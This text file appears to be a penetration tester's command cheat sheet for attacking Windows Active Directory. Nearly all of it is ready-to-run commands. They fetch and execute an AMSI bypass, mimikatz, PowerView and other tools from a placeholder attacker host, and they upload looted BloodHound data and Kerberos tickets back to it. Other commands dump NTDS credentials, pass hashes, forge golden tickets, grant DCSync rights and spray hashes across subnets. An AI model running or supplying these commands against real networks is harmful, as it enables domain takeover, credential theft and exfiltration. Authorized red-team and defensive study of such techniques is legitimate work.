Target.Host.Service.AD.txt

`` Helpers

    `` Powerview

        ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/amsi-bypass.ps1')
        ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/powerview.ps1')

    `` Toolkit

        ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/mimikatz.ps1')
        
        ~> mkdir C:\tools & cd C:\tools
        ~> curl.exe -O http://VAR_ATTACKER_HOST:8001/Grouper2.exe
        ~> curl.exe -O http://VAR_ATTACKER_HOST:8001/Incognito.exe
        ~> curl.exe -O http://VAR_ATTACKER_HOST:8001/minidump.exe
        ~> curl.exe -O http://VAR_ATTACKER_HOST:8001/Rubeus.exe
        ~> curl.exe -O http://VAR_ATTACKER_HOST:8001/Sysinternals/strings.exe
        ~> curl.exe -O http://VAR_ATTACKER_HOST:8001/Sysinternals/PsExec64.exe
        ~> curl.exe -O http://VAR_ATTACKER_HOST:8001/Sysinternals/accesschk64.exe
        ~> curl.exe -O http://VAR_ATTACKER_HOST:8001/Sysinternals/sdelete64.exe

    `` RAST

        ~PS> curl.exe -O "http://VAR_ATTACKER_HOST:8001/Microsoft.ActiveDirectory.Management.dll"
        ~PS> $Env:ADPS_LoadDefaultDrive = 0
        ~PS> Import-Module .\Microsoft.ActiveDirectory.Management.dll

    `` Powershell LDAP

        -- Initializing LDAP connection with domain connected machine
        ~PS> $ds = [adsisearcher]""

        -- Otherwise
        ~PS> $dn = New-Object System.DirectoryServices.DirectoryEntry("LDAP://VAR_DOMAIN_HOST:389", VAR_USERNAME, VAR_PASSWORD)
        ~PS> $ds = New-Object System.DirectoryServices.DirectorySearcher($dn)

`` Information Gathering

    `` Objects

        `` Computers

            ~> net.exe view /domain

            ~PS> $ds.Filter = "((objectCategory=computer))"
            ~PS> $computers = $ds.FindAll()
            ~PS> foreach ($comp in $computers) {
            ~PS>     $compHostname = $comp.properties.dnshostname
            ~PS>     if ($compHostname) {
            ~PS>         $compHostname | Out-File -Append hosts.txt
            ~PS>     }
            ~PS> }

            -- Powerview
            ~PS> Get-DomainComputer
        
            -- Powerview: all hosts with DNS resolution
            ~PS> Get-ForestGlobalCatalog | %{ Get-DomainComputer -Properties dnshostname -Domain $_.Domain | %{ if ($_.dnshostname) { Get-IPAddress $_.dnshostname } } }

        `` Printers

            ~PS> $ds.Filter = "((objectCategory=printqueue))"
            ~PS> $printers = $ds.FindAll()

            -- A simple output for targeting domain attached printers
            ~PS> foreach ($pri in $printers) { $pri.properties.printername + $pri.properties.servername + $pri.properties.printlanguage + ' '}

        `` Users

            ~> net.exe user /domain

            ~PS> $ds.Filter = "((objectCategory=user))"
            ~PS> $users = $ds.FindAll()

            -- Slow but detailed and very likely to be noisy
            ~> wmic.exe useraccount list /format:list

            -- Powerview
            ~PS> Get-DomainUser
            ~PS> Invoke-UserHunter -Stealth -GroupName "Remote Desktop Users"

            -- Impacket
            ~$ proxychains impacket-GetADUsers.py -k -no-pass -dc-ip VAR_TARGET_HOST VAR_TARGET_DOMAIN/VAR_USERNAME

        `` Users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH)

            ~$ impacket-GetNPUsers -dc-ip VAR_TARGET_HOST VAR_TARGET_DOMAIN/VAR_USERNAME:VAR_PASSWORD

        `` By object name

            ~PS> $ds.Filter = "((name=*admin*))"
            ~PS> $ds.Findall()

        `` Groups

            ~> net.exe group /domain

            ~PS> $ds.Filter = "((objectCategory=group))"
            ~PS> $groups = $ds.FindAll()

            -- Members of a specific group
            ~PS> $ds.Filter = "(&(objectCategory=user)(memberOf=CN=Domain Admins,CN=Users,DC=VAR_DOMAIN,DC=VAR_DOMAIN))"
            ~PS> $ds.Findall()

            -- Powerview
            ~PS> Get-DomainGroup
            ~PS> Get-DomainGroup -MemberIdentity VAR_USERNAME

        `` Permissions

            ~PS> Get-NetGPO | Get-ObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectType -eq 'All') -and ($_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty|CreateChild" )}
            ~PS> Get-NetGPO -Identity VAR_USERNAME -Domain VAR_DOMAIN -DomainController VAR_DOMAIN_HOST | Get-ObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectType -eq 'All') -and ($_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty|CreateChild" )}

    `` Services

        `` SPNs

            ~> setspn.exe -T * -Q */*

            -- Using Impacket
            ~$ proxychains impacket-GetUserSPNs.py -k -no-pass -dc-ip VAR_TARGET_HOST VAR_TARGET_DOMAIN/VAR_USERNAME

        `` RDP

            -- Powerview
            ~PS> Get-DomainGPOUserLocalGroupMapping -Identity VAR_USERNAME -Domain VAR_TARGET_DOMAIN -LocalGroup RDP

    `` Policies

        `` Powerview

            -- Find GPO location
            ~PS> Find-GPOLocation -Domain VAR_TARGET_DOMAIN

            -- List ACLs for GPO
            ~PS> Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}

        `` Grouper2

            ~> C:\tools\Grouper2.exe -i 10 -g

    `` Domains

        `` Enumeration

            ~PS> [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
            ~PS> [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()

        `` Controllers

            ~> nltest.exe /dclist:VAR_DOMAIN

        `` Trusts

            ~> nltest.exe /trusted_domains

            ~PS> ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

        `` Delegation

            -- Powerview
            ~PS> Get-DomainUser -TrustedToAuth
            ~PS> Get-DomainComputer -TrustedToAuth

            -- Powerview: find computers accessed by admin users
            ~PS> Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation

`` Automated analysis

    `` Bloodhound

        ~PS> mkdir C:\loot
        ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/SharpHound.ps1')
        ~PS> Invoke-Bloodhound -CollectionMethod All -Domain VAR_TARGET_DOMAIN -OutputDirectory C:\loot -ZipFileName blood.zip
        ~PS> IEX(New-Object System.Net.WebClient).UploadFile('http://VAR_ATTACKER_HOST:8008/blood.zip', 'C:\loot\blood.zip')

        -- Using specific credentials
        ~PS> Invoke-Bloodhound -CollectionMethod All -LDAPUser VAR_USERNAME -LDAPPass VAR_PASSWORD

    `` Other noteworthy scripts

        - FindTrustedAndSPNAccounts.vbs
        - FindAllSvc.ps1
        - ACLight2.ps1
        - Get-ExploitableSystems.psm1

`` Lateral Movement

    `` PTH and mimikatz

        ~PS> mimikatz.exe # sekurlsa::pth /user:VAR_USERNAME /domain:VAR_TARGET_DOMAIN /ntlm:VAR_NT_HASH /run:"mstsc.exe /restrictedadmin"

    `` Native

        ~PS> Enter-PSSession -ComputerName VAR_TARGET_HOST

    `` Push/pop location

        ~PS> Push-Location \\VAR_TARGET_HOST\sysvol
        ~PS> gci * -Include *.xml,*.ini,*.txt,*.cfg,*.bat,*.ps1,*.psm,*.psd,*.vbs,*.cmd -Recurse -EA SilentlyContinue | Select-String password
        ~PS> Pop-Location

    `` Runas

        ~> runas.exe /netonly /user:VAR_DOMAIN\VAR_USERNAME cmd.exe

    `` Find machines the current user has admin access to

        -- Powerview
        ~PS> Find-LocalAdminAccess

    `` WMI

        ~$ proxychains impacket-wmiexec.py -k -no-pass -dc-ip VAR_TARGET_HOST VAR_DOMAIN/VAR_USERNAME@VAR_TARGET_HOST

    `` PsExec

        ~$ impacket-psexec -hashes VAR_LM_HASH:VAR_NT_HASH VAR_USERNAME@VAR_TARGET_HOST
        ~$ impacket-psexec VAR_TARGET_DOMAIN/VAR_USERNAME:VAR_PASSWORD@VAR_TARGET_HOST

    `` WinRM

        ~> winrs.exe -r:VAR_TARGET_HOST cmd.exe
        
        ~$ evil-winrm --user VAR_USERNAME --hash VAR_NT_HASH --ip VAR_TARGET_HOST
        ~$ evil-winrm --user VAR_USERNAME --password VAR_PASSWORD --ip VAR_TARGET_HOST

    `` NTLM Relay

        ~$ proxychains impacket-ntlmrelayx --no-http-server -smb2support -t VAR_TARGET_HOST -c 'dir'

    `` Dump credentials - NTDS

        ~> powershell.exe "ntdsutil.exe 'ac i ntds' 'ifm' 'create full C:\loot\ntds' q q"
        ~$ impacket-secretsdump -system ntds/registry/SYSTEM -security ntds/registry/SECURITY -ntds ntds/Active\ Directory/ntds.dit local

        ~$ impacket-secretsdump -just-dc-ntlm VAR_TARGET_DOMAIN/VAR_USERNAME:VAR_PASSWORD@VAR_TARGET_HOST

    `` Tickets

        `` Request

            -- Powerview
            ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/amsi-bypass.ps1')
            ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/powerview.ps1')
            ~PS> Add-Type -AssemblyName System.IdentityModel
            ~PS> Get-ForestGlobalCatalog | %{ setspn.exe -T -Domain $_.Domain -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } }

        `` Cracking

            -- Export
            ~PS> mimikatz.exe # kerberos::list /export

            -- Upload
            ~> powershell.exe -exec bypass "(New-Object System.Net.WebClient).UploadFile('http://VAR_ATTACKER_HOST:8008/sql01.kirbi', 'C:\loot\WEB01$@MSSQLSvc~sql01~1433.kirbi')"

            -- Using https://github.com/nidem/kerberoast
            ~$ ~/lib/kerberoast/tgsrepcrack.py VAR_WORDLIST sql01.kirbi

            -- Using John The Ripper
            ~$ /usr/share/john/krb2john.py

        `` From the attacking box
        
            -- Convert and use
            ~$ ticket_converter.py ticket.kirbi ticket.ccache
            ~$ kdestroy
            ~$ cp ticket.ccache ~/ticket.ccache
            ~$ export KRB5CCNAME=/home/user/ticket.ccache
            ~$ klist

            -- Request ticket for a service
            ~$ kvno MSSQLSvc/VAR_TARGET_DOMAIN:1433

        `` Golden (using KRBTGT NTLM password hash)

            ~PS> Get-DomainSID -Domain VAR_DOMAIN
            ~PS> mimikatz.exe # lsadump::dcsync /domain:VAR_DOMAIN /user:krbtgt
            ~PS> mimikatz.exe # kerberos::golden /user:whatever /domain:VAR_DOMAIN /sid:S-1-5-21-xxx /krbtgt:VAR_NT_HASH /sids:S-1-5-21-xxx-519 /ptt
            ~> PsExec64.exe \\rdc02 cmd

    `` Changing permissions

        -- Powerview: add all permissions to VAR_NAME
        ~PS> Add-DomainObjectAcl -TargetIdentity 'VAR_NAME' -Rights All -PrincipalIdentity VAR_USERNAME

        -- Powerview: add VAR_USERNAME to a group VAR_NAME
        ~PS> Add-DomainGroupMember -Identity 'VAR_NAME' -Members 'VAR_USERNAME'
        ~PS> Get-DomainGroupMember 'VAR_NAME'

        -- Powerview: give replication rights
        ~PS> Add-ObjectACL -PrincipalIdentity VAR_USERNAME -Rights DCSync

    `` LAPS

        -- Is LAPS enabled?
        ~> reg.exe query "HKLM\SOFTWARE\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

        ~PS> IEX(New-Object Net.Webclient).DownloadString('http://VAR_ATTACKER_HOST:8001/LAPSToolkit.ps1')
        ~PS> Get-LAPSComputers
        ~PS> Find-LAPSDelegatedGroups

    `` Password in Group Policy Preferences

        ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/Get-GPPPassword.ps1'); Get-GPPPassword

    `` Permissions

        ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/Invoke-ACLPwn.ps1')

`` Tokens

    `` Manipulation

        ~PS> IEX(New-Object System.Net.WebClient).DownloadString('http://VAR_ATTACKER_HOST:8001/Invoke-TokenManipulation.ps1') 

    `` Impersonation

        ~PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
        ~PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity 'VAR_USERNAME'
        ~PS> $context = $idToImpersonate.Impersonate()
        ~PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name

        -- Using Incognito
        C:\tools\Incognito.exe exe VAR_DOMAIN\VAR_USERNAME cmd.exe

`` Spraying

    `` WMI

        ~PS> $ds = [adsisearcher]"((objectCategory=computer))"
        ~PS> $comps = $ds.FindAll()

        ~PS> IEX(New-Object System.Net.WebClient).DownloadString("http://VAR_ATTACKER_HOST:8001/Invoke-WMIExec.ps1")  
        ~PS> foreach ($comp in $comps) {
        ~PS>     $compname = $comp.properties.dnshostname
        ~PS>     if ($compname) { Invoke-WMIExec -Target $compname -Username VAR_USERNAME -Hash VAR_NT_HASH -Command "whoami" -Verbose }
        ~PS> }

    `` crackmapexec

        ~$ crackmapexec VAR_TARGET_RANGE -x whoami --timeout 5 -d VAR_TARGET_DOMAIN -u VAR_USERNAME -H VAR_LM_HASH:VAR_NT_HASH
        ~$ crackmapexec smb VAR_TARGET_RANGE -u VAR_USERNAME -H VAR_LM_HASH:VAR_NT_HASH --local-auth

    `` Impacket

        for ip in $(seq 1 254); do
            impacket-smbexec.py -hashes VAR_LM_HASH:VAR_NT_HASH $VAR_TARGET_DOMAIN/VAR_USERNAME@VAR_TARGET_NETWORK$ip
        done